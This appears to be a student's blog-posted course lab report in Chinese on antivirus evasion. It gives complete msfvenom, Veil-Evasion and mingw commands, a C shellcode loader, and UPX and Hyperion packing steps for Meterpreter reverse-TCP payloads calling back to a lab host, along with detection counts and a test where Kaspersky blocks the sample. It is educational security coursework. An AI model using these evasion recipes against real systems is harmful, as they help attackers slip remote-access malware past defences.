20242419 2026-2027-1 《网络与系统攻防技术》实验3实验报告

20242419 2025-2026-1 《网络与系统攻防技术》实验3实验报告

班级:2424  姓名:陈贻富  学号:20242419  实验日期:2026-10-19

1.基础知识

1.1 基础问题回答

(1)杀软是如何检测出恶意代码的?

杀软不是只看文件名,也不是只查一个哈希,而是从多个层面判断。

第一层是静态特征码。杀软把文件拆成字节序列、字符串、PE 节区、导入表等,与病毒库中的特征比对。实验里基准样本被 AVG 报成 Win32:MstShell-E、被 DrWeb 报成 BackDoor.Meterpreter.1462,就是典型的特征码命中——样本里保留着 Meterpreter 的固定代码和字符串。

第二层是启发式与静态规则。即使没有完全相同的特征,杀软也会根据可疑的 API 组合、异常节区、过高的熵值、可执行内存分配等给文件打分。比如一个普通程序很少同时出现“申请可读写可执行内存 + 拷贝一段二进制 + 直接调用”这样的结构。

第三层是动态行为监控。样本运行后,杀软观察它是否创建远程线程、写入启动项、篡改注册表、连接陌生 IP、下载文件等。行为比文件本身更难伪装。

第四层是沙箱与云查杀。沙箱把样本放进隔离环境跑一遍,看它实际做了什么;云查杀则结合文件哈希、数字签名、下载 URL 的信誉、文件来源等给出结论。实验最后卡巴斯基在下载阶段就拦下样本,靠的正是 Web 反病毒和云端信誉,而不是等文件落地后再慢慢扫描。

此外还有流量检测。Meterpreter 的通信有比较明显的特征,IDS/IPS 可以通过协议指纹识别出来。

(2)免杀是做什么?

免杀就是在不改变恶意代码功能的前提下,通过编码、加密、加壳、改写、重编译、换载体等手段,改变样本的静态特征和运行时表现,让杀软不报毒、晚报毒,或者至少让样本能成功落地并执行。它本质上是在和杀软的检测点做对抗:杀软查特征,就改特征;杀软查结构,就改结构;杀软查行为,就换一种不触发规则的行为方式。

(3)免杀的基本方法有哪些?

常见的有以下几类:

  • 编码与加密:用 msfvenom -e 指定编码器,或自己写异或、AES 等加解密代码,让原始 shellcode 不以明文形式出现。实验中的 shikata_ga_nai 就属于这一类。
  • 加壳:用 UPX 这类压缩壳,或 Hyperion 这类加密壳,把原始程序包起来,运行时再解压/解密到内存。
  • 源码级改写与重编译:把 shellcode 导出成 C 数组,自己写加载器,用 mingw 重新编译。这样 PE 的节区、导入表、编译器指纹、入口代码都会变,不再像 Metasploit 直接生成的模板。
  • 载体与格式变换:把 payload 做成 jar、php、jsp、apk、Office 宏、脚本等,利用不同解释器或运行环境绕过只针对 exe 的规则。
  • 混淆与分离:Base64、字符串拆分、远程加载、进程注入、白利用、签名伪造等,让恶意代码不在文件里完整出现。
  • 行为规避:反沙箱、反调试、延时执行、睡眠、流量加密等,专门躲开动态检测。

单一手段往往效果有限,实际中通常组合使用。但组合也不是越多越好,每加一层都可能引入新的可被识别的特征。

1.2 实验涉及的工具与原理

msfvenom 是 Metasploit 的 payload 生成工具,可以指定 payload、编码器、编码次数、输出格式和坏字符,直接生成 exe、jar、php 等文件。

shikata_ga_nai 是 msf 自带的 x86 多态编码器,采用 XOR 加法反馈的方式,每次编码都会生成不同的解码 stub,使字节序列发生变化。但解码 stub 本身有固定模式,杀软早已把它当作特征,所以单次或多次编码对 exe 的免杀效果通常很有限。

Veil-Evasion 是一个免杀 payload 框架,本实验使用的是 3.1.14 版本。它可以把 Metasploit 的 payload 用 C 等语言重新包装、编译,生成与 msf 默认模板不同的可执行文件。

mingw-w64 是在 Linux 上交叉编译 Windows PE 文件的工具链,实验中用 i686-w64-mingw32-g++ 把 C 源码编译成 32 位 exe。

UPX 是开源可执行文件压缩壳,通过压缩节区改变文件结构,运行时在内存中解压。Hyperion 是运行时加密器(crypter),用 FASM 生成解密 stub,把原 PE 加密后包装起来。

检出率方面,实验主要使用 VirScan 和 VirusTotal。两者接入的引擎数量不同:本次 VirScan 是 48 个引擎,VirusTotal 是 61 个,所以两组数字不能直接横向比较,报告里会分别标注。

2.实验内容

本次实验围绕“免杀原理与实践”完成三部分内容。

(1)使用常见免杀工具和技巧生成样本:用 msfvenom 生成基准 exe、单次和 10 次 shikata_ga_nai 编码的 exe,生成 jar 和 php 文件;安装并使用 Veil-Evasion 生成 C stager;把 shellcode 导出为 C 数组,自己编写加载器并用 mingw 编译;再用 UPX 和 Hyperion 加壳。

(2)组合多种技术实现免杀:把 10 次编码、C 加载器、UPX 压缩三层组合起来,生成最终样本,记录各阶段的检出率,并用简单语言说明组合免杀为什么能降低静态检出,以及为什么仍有引擎能报出。

(3)在另一台电脑上实测:在目标机开启卡巴斯基标准版的情况下,通过 HTTP 下载并运行样本,观察杀软是否拦截;记录回连结果、目标机信息和杀软名称与版本。

评价标准统一使用多引擎在线扫描的检出数,同时注明平台和引擎总数。

3.实验过程

3.1 实验环境

角色 配置
攻击机 Kali Linux 虚拟机(VMware),IP 192.168.253.129,主机名 chenyifu
目标机 Windows 11 24H2(Build 26200),主机名 DESKTOP-GAR5KSN
杀软 卡巴斯基标准版 21.26.4.406,数据库发布日期为实验前一天 19:01
主要工具 msfvenom(Metasploit)、Veil-Evasion 3.1.14、mingw-w64 14.0.0-1、UPX 4.2.4、Hyperion(Wine 运行)

攻击机与目标机通过 VMware NAT 网络互通。Kali 的地址是 192.168.253.129,目标机回连时在会话中显示的地址是 192.168.253.1。Kali 终端提示符为 (kali㉿chenyifu),主机名是本人姓名拼音 chenyifu,截图中的操作均在该主机上完成;所有样本和源码文件都以学号开头,例如 20242419_base.exe、20242419_sc.c。

3.2 生成基准样本并记录检出率

先生成一个最普通的 Meterpreter 反向连接 exe,作为后续对比的基准:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.129 LPORT=2409 -f exe > 20242419_base.exe
ls -l 20242419_base.exe

msfvenom 回显 payload 为 355 字节,最终 exe 为 7168 字节。把文件上传 VirScan,检出结果为 16/48。

image

image

image

从引擎明细可以看到,AVG 报 Win32:MstShell-E,DrWeb 报 BackDoor.Meterpreter.1462,VBA32 报 BScope.Trojan.Metasploit,F-Prot 报 W32/Felix:CO:VC!Eldorado。这些命名都直接指向 Meterpreter 或 Metasploit 模板,说明基准样本的静态特征非常明显。

3.3 使用 msf 编码器

单次编码。 用 shikata_ga_nai 对 exe 编码一次,并用 -b '\x00' 去掉空字节:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' \
  LHOST=192.168.253.129 LPORT=2409 -f exe > 20242419_enc1.exe

回显显示 1 iterations of x86/shikata_ga_nai,编码后的 payload 为 382 字节,exe 仍为 7168 字节。上传 VirScan,结果 16/48,与基准完全相同。单次编码只是给原始 payload 套了一层解码 stub,文件大小和整体结构几乎没变,杀软仍然能识别出 Meterpreter 家族。

image

image

10 次编码。 再把编码次数加到 10 次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.253.129 LPORT=2409 -f exe > 20242419_enc10.exe

回显中 10 个 iteration 全部成功,payload 从 382 字节逐层增加到 625 字节,最终 exe 为 7680 字节。上传 VirScan,结果 14/48,只比基准少 2 个,仍属于正常波动范围。多次编码只是叠加了多层解码 stub,并没有改变 payload 的运行行为,反而让文件多出一些可被启发式规则注意到的结构。

image

image

生成 jar 文件。 换一个载体,生成 Java 版本的 Meterpreter:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.253.129 LPORT=2409 -f jar > 20242419.jar

jar 文件为 5265 字节,VirScan 检出 14/48,比基准略低,但优势不明显。JVM 载体在某些引擎上确实能躲开针对 PE 的规则,但 Meterpreter 的 Java 代码本身仍有特征,而且目标机不一定装了合适的 Java 环境。
image

image

生成 php 文件。 再生成一个未编码的 php 反向连接文件:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.253.129 LPORT=2409 -f raw > 20242419.php

文件为 1115 字节。上传 VirScan 时,平台返回 File verification failed,把文件打成 zip 后重传仍然失败,于是改用 VirusTotal,结果为 28/61。

image

image

由于扫描失败,换成了VirusTotal
image
这里要特别说明:VirScan 是 48 个引擎,VirusTotal 是 61 个引擎,28/61 和前面的 16/48 不是同一口径,不能直接说“php 比 exe 更容易被查”。

之后又生成了 10 次编码的 php 文件 20242419_enc10.php,平台直接拒扫,只能跳过。
image
后续有周同学热心支招,指出多次上传文件,ip会被virscan标记导致文件上传失败,切换网络即可就不会出现上述情况。由于实验时间较为紧张,我就没有回溯进行再扫(其实是懒)。

3.4 使用 Veil-Evasion

先更新源并确认软件包存在,然后安装:

sudo apt update
apt-cache search veil
sudo apt -y install veil

image
image

安装完成后启动 Veil,版本为 3.1.14。主菜单有两个工具:1)Evasion,2)Ordnance。进入 Evasion 后先 list 查看可用载荷,再选择第 7 项 c/meterpreter/rev_tcp,也就是 Pure C Reverse TCP Stager,评级为 Excellent。
image

Veil> use 1
Veil/Evasion> list
Veil/Evasion> use 7

image
image

该载荷需要设置两个参数:LHOST 和 LPORT。默认 LPORT 是 4444,改为 2409;LHOST 填 Kali 的地址:

[c/meterpreter/rev_tcp>>]: set LHOST 192.168.253.129
[c/meterpreter/rev_tcp>>]: set LPORT 2409
[c/meterpreter/rev_tcp>>]: options

image
image

options 复查显示 COMPILE_TO_EXE=Y、LHOST=192.168.253.129、LPORT=2409,配置正确。输入 generate,按提示把输出文件基础名设为 20242419。
image

第一次生成失败,报错为:

PermissionError: [Errno 13] Permission denied: '/var/lib/veil/output/source/20242419.c'

原因是我当时用普通用户运行 Veil,而 /var/lib/veil 目录属于 root。改用 sudo veil
image

重新运行后生成成功,exe 输出到 /var/lib/veil/output/compiled/20242419.exe,大小为 115735 字节。把它复制到桌面后上传 VirScan,检出结果为 6/48,比基准的 16/48 大幅下降。
image

image

Veil 的效果比单纯编码好,原因是它没有直接输出 msf 的 exe 模板,而是用 C 重写了一层 stager 再编译,PE 结构、导入表和入口代码都发生了变化。但仍有 6 个引擎能报,说明启发式和家族特征还在。

3.5 使用 C + shellcode 编程

先确认交叉编译环境。Kali 中已经安装了 mingw-w64 14.0.0-1,执行安装命令时提示已是最新版本。

sudo apt -y install mingw-w64

image

把 Meterpreter 的 shellcode 导出成 C 数组:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.129 LPORT=2409 -f c > 20242419_sc.c

image

用 cat 查看,文件结构是标准的 unsigned char buf[] = "...";。接下来在文件顶部加两个头文件,在末尾加一个 main 函数:
image

#include <windows.h>
#include <string.h>

int main(){
    void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, buf, sizeof(buf));
    ((void(*)())exec)();
    return 0;
}

image

这段代码的作用是:先用 VirtualAlloc 申请一块可读、可写、可执行的内存,把 buf 里的 shellcode 拷贝进去,再把这块内存当成函数指针调用。shellcode 始终以数组形式存在于文件中,只有运行时才进入内存执行。

用 mingw 编译:

i686-w64-mingw32-g++ 20242419_sc.c -o 20242419_sc.exe
ls -l 20242419_sc.exe

image

image

生成的 exe 为 108870 字节。上传 VirScan,结果为 6/48,和 Veil 样本持平。自己写加载器确实改变了 PE 结构,但 shellcode 本身和 VirtualAlloc + memcpy + call 这套行为仍然很容易被启发式规则盯上。
image

UPX 压缩壳。 安装 upx-ucl 后对 C 样本加壳:

sudo apt -y install upx-ucl
upx 20242419_sc.exe -o 20242419_sc_upx.exe
ls -l 20242419_sc_upx.exe

image
image
image

文件从 108870 字节压缩到 60230 字节,压缩后为原大小的 55.32%。上传 VirScan,结果仍是 6/48,和加壳前完全一样。UPX 只是改变了文件的存储形态,运行时仍要把原始代码解压到内存,静态引擎脱壳后照样能认出来;不脱壳的引擎则可能因为 UPX 本身而直接提高警惕。
image

Hyperion 加密壳。 先确认工具存在:

ls /usr/share/windows-resources/hyperion/

image

目录中有 hyperion.exe、Fasm 和 Src。把原始 C 样本复制进去,用 Wine 执行:

sudo cp ~/Desktop/20242419_sc.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion/
sudo wine hyperion.exe -v 20242419_sc.exe 20242419_sc_hyp.exe

运行到最后,FASM 报了一个错误:
image

image

err:virtual:allocate_virtual_memory out of memory for allocation, base (nil) size 3145a000
7 passes, 124928 bytes.
Done :-)

虽然报了内存分配错误,但末尾仍打印了 Done,而且检查发现 20242419_sc_hyp.exe 确实生成了,大小为 124928 字节。把它复制回桌面并上传 VirScan,结果反而是 20/48,比加壳前的 6/48 高了不少。
image

这个结果说明,Hyperion 这类专用加密壳本身已经被很多引擎标记为高风险行为:文件里出现了它的解密 stub、异常节区和可执行内存操作,引擎不需要看清原始 payload,光看壳就能报毒。加壳并不等于免杀,壳越有名,越容易成为新的特征。

3.6 组合应用技术实现免杀

前面每一步单独看效果都有限,于是把三种手段叠在一起:先用 10 次编码改变 shellcode 的字节序列,再用 C 加载器重新编译改变 PE 结构,最后用 UPX 压缩改变文件形态。

第一步,导出 10 次编码后的 C 数组:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' \
  LHOST=192.168.253.129 LPORT=2409 -f c > 20242419_multi.c

生成的 C 文件为 2659 字节。为了不再手动编辑,直接用一条命令把头文件和 main 函数套到 buf 数组外面:

{ echo '#include <windows.h>'; echo '#include <string.h>'; cat 20242419_multi.c; \
  printf '\nint main(){\n void *exec=VirtualAlloc(0,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);\n memcpy(exec,buf,sizeof(buf));\n ((void(*)())exec)();\n return 0;\n}\n'; } > 20242419_multi_full.c

编译:

i686-w64-mingw32-g++ 20242419_multi_full.c -o 20242419_multi.exe
ls -l 20242419_multi.exe

编译成功,文件为 109404 字节。这次只加 UPX,不再叠 Hyperion,因为前面的实验已经证明 Hyperion 会显著提高检出:

upx 20242419_multi.exe -o 20242419_multi_upx.exe
ls -l 20242419_multi_upx.exe

UPX 压缩后为 60764 字节,压缩后为原大小的 55.54%。上传 VirScan,检出结果为 5/48,是目前所有样本中最低的。

image

image

image

image

组合免杀能降低静态检出,原理并不神秘,可以按三层来理解。

第一层是编码。shikata_ga_nai 每次迭代都会重新生成解码 stub,原始 shellcode 被 XOR 加反馈运算打散,文件里不再出现连续的、可被特征码直接匹配的 Meterpreter 字节序列。10 次迭代让字节层面的变化更充分,单看文件内容,很难一眼认出原始 payload。

第二层是重编译。样本不是由 msfvenom 直接生成的 exe,而是把 shellcode 作为 C 数组,交给 mingw 重新编译。这样生成的 PE 文件,节区布局、导入表、入口点、编译器指纹都和 Metasploit 的标准模板不同,针对“msf 生成的 exe”的规则就失效了。加载器本身只是一段很普通的 Windows 程序,调用的也是 VirtualAlloc、memcpy 这类常见 API。

第三层是压缩。UPX 把代码和数据压缩后重新排布节区,文件里看不到明文的字符串和原始指令,静态引擎如果不脱壳,就只能看到一个压缩过的普通 PE 文件。三层叠加后,字节特征、文件结构、存储形态都变了,所以 VirScan 的检出从 16/48 降到 5/48。

但仍要清醒地看到,5/48 不是 0/48。剩下的引擎主要抓两件事:一是运行时行为,加载器申请 RWX 内存、拷贝二进制、直接调用,这套组合本身就是高危行为;二是壳和编码器的痕迹,部分引擎会脱 UPX、识别 shikata 的 stub,或者直接根据文件熵值和节区异常打分。所以组合免杀解决的是“静态扫描能不能过”,并没有解决“运行时会不会被抓”。

3.7 在另一台电脑上实测回连

在 Kali 上启动 Metasploit 监听:

msfconsole -q

进入 msf 后依次执行:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.253.129
set LPORT 2409
exploit

这里有一个细节:multi/handler 启动时默认使用的是 generic/shell_reverse_tcp,如果不手动 set payload,监听器和样本的 payload 对不上,样本回连后也拿不到 Meterpreter 会话。设置正确后回显 Started reverse TCP handler on 192.168.253.129:2409。

image

另开一个终端,在样本所在目录启动 HTTP 服务,不要关掉 msf 窗口:

cd ~/Desktop
python3 -m http.server 8000

image

在目标机的浏览器中访问 http://192.168.253.129:8000,页面列出桌面上的样本文件,点击 20242419_multi_upx.exe 下载。

image

此时目标机上的卡巴斯基标准版处于开启状态。点击下载后,卡巴斯基立即弹出“已阻止下载危险对象”,文件根本没有落地。

image

展开“显示详情”,可以看到拦截记录:检测时间 2026/10/19 18:43:28,网址为 http://192.168.253.129:8000/20242419_multi_upx.exe,原因为“对象已被感染”,应用程序判定为 HEUR:Trojan.Win32.Generic。

image

这个结果很关键:VirScan 上只有 5/48 报毒的样本,在卡巴斯基面前连下载阶段都没过去。卡巴斯基的 Web 反病毒不是等文件落地后再做静态扫描,而是结合 URL 信誉、文件信誉和启发式规则在传输过程中就做判断,HEUR:Trojan.Win32.Generic 这个命名也说明它是靠启发性特征而不是精确特征命中的。

为了让样本落地并验证回连,我暂停了卡巴斯基的保护,直接从kali把exe拖拽到windows主机桌面是,然后在目标机上运行 20242419_multi_upx.exe。Kali 的监听端随即收到会话:

[*] Sending stage (199238 bytes) to 192.168.253.1
[*] Meterpreter session 1 opened (192.168.253.129:2409 -> 192.168.253.1:21380) at 2026-10-19 07:23:34 -0400

image

在 Meterpreter 中执行 getuid 和 sysinfo 验证会话:

meterpreter > getuid
Server username: DESKTOP-GAR5KSN\if
meterpreter > sysinfo
Computer        : DESKTOP-GAR5KSN
OS              : Windows 11 24H2+ (10.0 Build 26200).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

image

目标机上的卡巴斯基版本信息如下:卡巴斯基标准版,应用程序版本 21.26.4.406,数据库发布日期为“昨天 19:01”,操作系统为 Microsoft Windows 11 Professional Workstation x64 Build 26200。

image

实测结论需要如实说明:样本在卡巴斯基开启时被 Web 反病毒拦截,没能落地;暂停保护后运行成功并拿到 Meterpreter 会话。也就是说,本次组合样本只做到了静态层面的低检出,没有做到与卡巴斯基实时防护“共生”。这正好说明,在线多引擎的检出率和真实终端防护不是一回事,杀软的下载防护、云信誉和行为监控往往比静态特征码更难绕过。

3.8 各阶段检出结果汇总

样本 处理方式 文件大小 检出结果 说明
20242419_base.exe msfvenom 原始 exe 7168 B 16/48 基准,Meterpreter 特征明显
20242419_enc1.exe 单次 shikata_ga_nai 7168 B 16/48 与基准持平
20242419_enc10.exe 10 次 shikata_ga_nai 7680 B 14/48 仅下降 2 个
20242419.jar java/meterpreter 5265 B 14/48 JVM 载体优势有限
20242419.php php/meterpreter 原始 1115 B 28/61(VirusTotal) VirScan 上传失败;引擎口径不同
20242419.exe Veil-Evasion C stager 115735 B 6/48 重编译后明显下降
20242419_sc.exe C + shellcode 自编译 108870 B 6/48 与 Veil 持平
20242419_sc_upx.exe C 样本 + UPX 60230 B 6/48 压缩不改变检出
20242419_sc_hyp.exe C 样本 + Hyperion 124928 B 20/48 加密壳反而升高
20242419_multi_upx.exe 10 次编码 + C 加载器 + UPX 60764 B 5/48 本次最低

4.问题及解决方案

问题 1:Veil 生成时提示 PermissionError: Permission denied '/var/lib/veil/output/source/20242419.c'。

问题原因:我用普通用户 kali 运行 Veil,而 Veil 的输出目录 /var/lib/veil 属于 root,普通用户没有写权限。

解决方案:改用 sudo veil 以 root 权限重新运行,重新执行 use 1、use 7、set LHOST、set LPORT、generate,生成成功。也可以把 /var/lib/veil 的属主改成当前用户,但不建议随意改系统目录权限,直接用 sudo 更简单。

问题 2:Hyperion 在 Wine 下报 err:virtual:allocate_virtual_memory out of memory,但末尾又打印 Done。

问题原因:Hyperion 的 FASM 汇编器在 Wine 环境下申请大块虚拟内存失败,属于 Wine 的兼容性问题;但错误发生在汇编阶段,之前的加密和文件写入已经完成,所以最终还是生成了文件。

解决方案:不要只看 Done,用 ls -l 检查输出文件是否真实存在、大小是否合理。本次检查到 20242419_sc_hyp.exe 为 124928 字节,可以正常上传扫描。如果文件没有生成,可以在 Windows 上直接运行 Hyperion,或者重试并给 Wine 分配更多内存。这个问题的教训是:工具回显的成功信息不一定可靠,要用文件系统和扫描结果交叉验证。

问题 3:php 样本上传 VirScan 返回 File verification failed,10 次编码的 php 直接被拒扫。

问题原因:平台对 php 脚本类样本的校验和扫描策略与 PE 文件不同,打包成 zip 后仍然没有通过;具体是文件类型限制还是平台侧的风控,从回显看不出来。

解决方案:改用 VirusTotal 扫描,得到 28/61 的结果;被拒扫的 10 次编码 php 则如实记录为“平台拒扫,未获得检出数据”。同时注意 VirScan 是 48 个引擎、VirusTotal 是 61 个引擎,报告中分别标注口径,不把两组数字直接比较。

问题 4:卡巴斯基在下载阶段就拦截样本,文件无法落地。

问题原因:卡巴斯基标准版开启了 Web 反病毒,样本通过 HTTP 下载时,URL 信誉、文件信誉和启发式规则共同作用,在文件写入磁盘前就判定为 HEUR:Trojan.Win32.Generic。这不是文件落地后的静态扫描,而是网络层的实时防护。

解决方案:为了验证样本本身能否执行和回连,我暂停了卡巴斯基的保护后再运行,成功拿到 Meterpreter 会话;同时保留拦截截图作为“杀软开启时”的真实结果。需要说明的是,暂停保护运行并不等于实现了与杀软共生。若要真正验证“杀软开启下可运行”,需要让样本绕过 Web 反病毒、实时保护和行为监控,本次样本没有做到。这也说明静态免杀和真实终端防护之间还有很大差距。

问题 5:启动 multi/handler 后直接 exploit,监听器的 payload 与样本不匹配。

问题原因:use exploit/multi/handler 后,msf 默认使用 generic/shell_reverse_tcp,而样本是 windows/meterpreter/reverse_tcp。两者虽然都能建立 TCP 连接,但后续的 stage 和会话类型对不上。

解决方案:在 exploit 之前显式执行 set payload windows/meterpreter/reverse_tcp,再设置 LHOST 和 LPORT。回显出现 Started reverse TCP handler 并且会话类型为 meterpreter,才说明配置正确。

5.学习感悟、思考等

这次实验最让我意外的,不是哪个样本的检出率最低,而是 VirScan 上只有 5/48 报毒的样本,在卡巴斯基面前连下载都没过去。做之前我下意识地把“检出率低”等同于“免杀成功”,做完才发现这是两件事。在线多引擎扫描更像是一次静态体检,而真实终端上的杀软是“下载防护 + 文件监控 + 行为监控 + 云信誉”的组合拳。卡巴斯基的 HEUR:Trojan.Win32.Generic 甚至不是靠精确特征命中的,而是靠启发性规则在传输阶段就做了判断。这让我对“免杀”有了更实际的理解:免杀不是把数字刷到 0,而是要让样本在目标环境的每一层检测下都能活下来。

从数据上看,单一手段的边际效应非常明显。单次编码和 10 次编码对 exe 几乎没有区别,16/48 只降到 14/48;UPX 对 C 样本完全没有影响,6/48 还是 6/48;Hyperion 更夸张,加壳后从 6/48 涨到 20/48。以前总觉得“壳越多越安全”,实验证明壳本身就是特征,越有名的壳越容易被重点关照。相比之下,Veil 和 C 加载器把检出降到 6/48,靠的不是“藏”,而是“换”——换掉 msf 的 PE 模板,换掉编译器指纹,让静态引擎找不到熟悉的入口。最后把编码、重编译、压缩叠在一起,才做到 5/48。

但 5/48 仍然不是 0。剩下的引擎抓的是行为:申请 RWX 内存、拷贝 shellcode、直接调用,这套动作太像恶意加载器了;还有引擎会脱 UPX、识别 shikata 的 stub。也就是说,组合免杀主要解决静态扫描,运行时行为仍然暴露。真正要过卡巴斯基这种有行为监控和云查杀的杀软,可能还需要内存加载、白利用、合法签名、流量加密、反沙箱等更底层的手段,而这些已经超出本次实验的范围。

操作上也踩了几个坑。Veil 写 /var/lib/veil 需要 root,第一次生成直接 PermissionError;Hyperion 在 Wine 下报虚拟内存分配错误,但文件其实已经生成,不能只看 Done;VirScan 对 php 的上传和扫描限制比较多,只能换 VirusTotal,还要注意 48 和 61 的引擎口径不同。这些问题都不难,但如果不看回显、不做交叉验证,很容易得出错误结论。比如 Hyperion 那个 Done,如果我不去 ls -l,就会以为加壳失败;如果我不看拦截详情,就会以为 5/48 真的过了卡巴斯基。

从防守的角度看,这次实验也让我更理解杀软为什么要做多层检测。只靠特征码,改几个字节就可能绕过;加上启发式、行为监控和云信誉之后,攻击者的成本会明显上升。反过来,防守方也不能只依赖某一种引擎的检出率,多引擎扫描的结果只能作为参考。实验结束后,我也更清楚这些技术的边界:它们只能在课程提供的隔离环境中用于学习和验证,不能用于真实攻击;理解免杀原理的目的,是为了知道现有防护的弱点,从而把防御做得更扎实。

参考资料

posted @ 2026-10-19 20:43  陈贻富  阅读(5)  评论(0)    收藏  举报